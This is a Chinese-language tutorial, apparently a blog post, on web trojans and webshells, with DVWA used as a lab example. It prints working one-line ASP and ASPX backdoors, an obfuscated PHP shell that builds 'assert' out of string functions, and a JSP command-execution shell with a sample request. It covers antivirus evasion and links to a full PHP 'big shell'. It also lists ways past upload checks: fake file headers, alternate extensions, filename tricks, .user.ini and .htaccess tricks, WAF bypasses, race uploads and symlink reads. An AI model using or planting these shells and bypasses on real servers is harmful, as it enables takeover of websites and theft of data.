最全木马详解

简单木马种类:asp、php、jsp、aspx
变形木马:htaccess,cer
先来看看最简单的一句话木马:

  • 代码解释:
  1. @表示后面即使执行错误,也不报错:由于一个变量没有定义,就被拿去使用了,服务器就善意的提醒:Notice,你的xxx变量没有定义,会暴露密码,所以我们加上@
  2. eval()函数表示括号内的语句字符串什么的全都当做代码执行。想执行什么代码,就把什么代码放进变量attack位置下。如果想查看目标硬盘内容,可以用php函数:opendir()和readdir()等等。想上传内容就用php函数:move_uploaded_file。想执行cmd命令,则用exec()。前提是php配置文件php.ini里,关掉安全模式safe_mode = off,然后再看看禁用函数列表 disable_functions = proc_open, popen, exec , system, shell_exec ,把exec去掉,确保没有exec(有些cms为了方便处理某些功能,会去掉的)。
  3. $_POST[‘attack’]表示从页面中获得attack这个参数值。
  • 入侵条件
  1. 木马上传成功,未被杀;
  2. 知道木马的路径在哪;
  3. 上传的木马能正常运行。
  • 常见形式
    常见的一句话木马:
    php的一句话木马:
    asp的一句话是: <%eval request (“pass”)%>
    aspx的一句话是: <%@ Page Language=”Jscript”%> <%eval(Request.Item[“pass”],”unsafe”);%>
    jsp的一句话是:

  • 木马免杀

一般网站管理员都会安装杀毒软件,即使木马上传成功,一段时间之后也会被杀掉,所以我们要对木马进行免杀操作,把它伪装的不像一个木马躲过杀毒软件。所以我们接下来要进行木马免杀操作。

  • 【免杀思路】:
  1. 将源代码进行再次编码。

利用各种php变形函数,对一句话木马进行变形
ucwords() //函数把字符串中每个单词的首字符转换为大写。
ucfirst() //函数把字符串中的首字符转换为大写。
trim() //函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() //函数把字符串的一部分替换为另一个字符串
substr() //函数返回字符串的一部分。
strtr() //函数转换字符串中特定的字符。
strtoupper() //函数把字符串转换为大写。
strtolower() //函数把字符串转换为小写。
strtok() //函数把字符串分割为更小的字符串
str_rot13() //函数对字符串执行 ROT13 编码。

eval可以和assert交换,使用php一句话木马进行变形,代码如下

1
2
3
4
<?php
$a = substr_replace("assexx","rt",4);
$a($_POST['x']);
?>
  1. 将那一句话木马进行base64编码,存放在”乱七八糟”的代码中。
  2. 还是一句话木马,进行在数组中键值对变形。

小马和大马

小马和大马都是网页类型中的一种后门,是通过用来控制网站权限的,那最主要的区别就是小马是用来上传大马的。通过小马上传大马,这时候有个疑问了,那不是多此一举了,为什么要用小马来上传大马,而干嘛不直接上传大马用好了。其实这里是因为小马体积小,有比大马更强的隐蔽优势,而且有针对文件大小上传限制的漏洞,所以才有小马,小马也通常用来做留备用后门等。
网页小马

小马体积非常小,只有2KB那么大,隐蔽性也非常的好,因为小马的作用很简单,就是一个上传功能,就没有其它的了,它的作用仅仅是用来上传文件,所以也能过一些安全扫描。小马是为了方便上传大马的,因为很多漏洞做了上传限制,大马上传不了,所以就只能先上传小马,再接着通过小马上传大马了。小马还可以通过与图片合成一起通过IIS漏洞来运行。

Java语言编写的后台咱们使用JSP木马,与前面的一句话木马不同,菜刀中JSP木马较长,以下是一个简单的JSP小马:

<%
if(“123”.equals(request.getParameter(“pwd”))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(“i”)).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print(“

");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
“);
}
%>

成功上传后如果能解析的话,请求:http://服务器IP:端口/Shell/cmd.jsp?pwd=123&i=ipconfig 即可执行命令。
网页大马

大马的体积就比较大了,通常在50K左右,比小马会大好多倍,但对应的功能也很强大,包括对数据的管理,命令的操作,数据库的管理,解压缩,和提权等功能,都非常强大。这种大马一旦网站被种了,网站基本就在这个大马控制之中。大马的隐蔽性不好,因为涉及很多敏感代码,安全类程序很容易扫描到。

中国菜刀的一句话不算,菜刀一句话通过客户端来操作也非常强大,一句话的代码可以和大马实现的一样。我们这里说的小马和大马是指网页类型中的,小马就是为了配合上传大马的,这是它最主要的作用,还有就是小马可以当做备用的后门来使用,一般大马容易被发现,而小马则更容易隐藏在系统的文件夹中。

来看看一个大马利用实例:在虚拟机中往DVWA上传PHP大马(源码附在最后):
访问木马文件123.php,提交密码123456后进入大马的功能列表,下图所示为文件管理功能:
在这里插入图片描述继续访问下命令执行功能(其他功能不展示了):

最后附上该PHP大马的代码(代码太长,百度云盘链接):https://pan.baidu.com/s/1XGUp5Q_Q2zn46kcQxE5M3A

WebShell

Webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。黑客在入侵了一个网站后,通常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以达到控制网站服务器的目的。

webshell根据脚本可以分为PHP脚本木马,ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。在国外,还有用python脚本语言写的动态网页,当然也有与之相关的webshell。 webshell根据功能也分为大马、小马和一句话木马,例如:<%eval request(“pass”)%>通常把这句话写入一个文档里面,然后文件名改成xx.asp。然后传到服务器上面。用eval方法将request(“pass”)转换成代码执行,request函数的作用是应用外部文件。这相当于一句话木马的客户端配置。具体分类如下图:

木马生效方式:getshell+文件上传

文件类型检测绕过

  1. 更改请求绕过(MIME漏洞和前端JS漏洞)

  2. Magic检测绕过

有的站点使用文件头来检测文件类型,这种检查可以在Shell前加入对应的字节以绕过检查。几种常见的文件类型的头字节如下表所示

1
2
3
4
5
6
7
类型 	二进制值
JPG FF D8 FF E0 00 10 4A 46 49 46
GIF 47 49 46 38 39 61
PNG 89 50 4E 47
TIF 49 49 2A 00
BMP 42 4D

  1. 后缀绕过

部分服务仅根据后缀、上传时的信息或Magic Header来判断文件类型,此时可以绕过。

1
2
3
4
5
- php由于历史原因可以解析多种后缀,如 php / php5 / pht / phtml / shtml / pwml / phtm 等 可在禁止上传php文件时测试该类型。

- jsp引擎则可能会解析 jspx / jspf / jspa / jsw / jsv / jtml 等后缀,asp支持 asa / asax / cer / cdx / aspx / ascx / ashx / asmx / asp{80-90} 等后缀。

- 除了这些绕过,其他的后缀同样可能带来问题,如 vbs / asis / sh / reg / cgi / exe / dll / com / bat / pl / cfc / cfm / ini
  1. 系统命名绕过

在Windows系统中,上传 index.php. 会重命名为 . ,可以绕过后缀检查。 也可尝试 index.php%20 , index.php:1.jpg index.php::$DATA 等。
在Linux系统中,可以尝试上传名为 index.php/. 或 ./aa/../index.php/. 的文件

  1. user.ini

在php执行的过程中,除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 .user.ini 中可以定义除了PHP_INI_SYSTEM以外的模式的选项,故可以使用 .user.ini 加上非php后缀的文件构造一个shell,比如 auto_prepend_file=01.gif

  1. WAF绕过

有的waf在编写过程中考虑到性能原因,只处理一部分数据,这时可以通过加入大量垃圾数据来绕过其处理函数,另外,Waf和Web系统对 boundary 的处理不一致,可以使用错误的 boundary 来完成绕过。

  1. 竞争上传绕过

有的服务器采用了先保存,再删除不合法文件的方式,在这种服务器中,可以反复上传一个会生成Web Shell的文件并尝试访问,多次之后即可获得Shell。

攻击技巧

  1. Apache重写GetShell

Apache可根据是否允许重定向考虑上传.htaccess,将png或者其他后缀的文件做php脚本执行

1
2
AddType application/x-httpd-php .png
php_flag engine 1
  1. 软链接任意读文件

上传的压缩包文件会被解压的文件时,可以考虑上传含符号链接的文件 若服务器没有做好防护,可实现任意文件读取的效果